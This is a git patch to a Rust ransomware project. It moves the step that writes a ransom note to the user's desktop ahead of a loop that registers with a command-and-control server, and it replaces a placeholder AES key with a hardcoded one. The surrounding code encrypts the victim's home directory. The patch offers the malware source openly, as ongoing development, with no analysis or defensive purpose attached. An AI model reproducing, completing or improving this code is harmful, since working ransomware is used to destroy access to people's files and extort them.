From 666845b90b53e4451287c5d6e52e3b4522570a18 Mon Sep 17 00:00:00 2001 From: Xory Date: Sun, 30 Jun 2024 18:42:18 +0300 Subject: [PATCH] fix: make ransom note before attempting registration --- src/crypto.rs | 2 +- src/encrypt.rs | 12 ++++++------ 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/src/crypto.rs b/src/crypto.rs index 5bc86d7..240209c 100644 --- a/src/crypto.rs +++ b/src/crypto.rs @@ -18,7 +18,7 @@ use reqwest::blocking::Request; type Aes256Cbc = Cbc; -const KEY: &[u8] = b"keyhereshouldbereplacedbybuilder"; +const KEY: &[u8] = b"kYmfk8pkMkgR9nj3EQ4x0JuJn6Qwq0cQ"; const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytesA const C2ADDR: &str = "c2serveraddr"; diff --git a/src/encrypt.rs b/src/encrypt.rs index d3ae8c8..9f03bc1 100644 --- a/src/encrypt.rs +++ b/src/encrypt.rs @@ -23,6 +23,12 @@ fn main() -> std::io::Result<()> { encrypt_directory(&home).unwrap(); // I know this many unwraps look // suspicious, but the chance of this // failing is less than a solar flare. + // Write ransom note to desktop + let mut ransomnote = File::create(ransomnoteloc)?; // we *should* have write perms for + // the user's HOME + ransomnote.write_all(NOTE.as_bytes())?; + ransomnote.flush()?; + loop { let registration_attempt = register(); @@ -33,11 +39,5 @@ fn main() -> std::io::Result<()> { } } - // Write ransom note to desktop - let mut ransomnote = File::create(ransomnoteloc)?; // we *should* have write perms for - // the user's HOME - ransomnote.write_all(NOTE.as_bytes())?; - ransomnote.flush()?; - Ok(()) }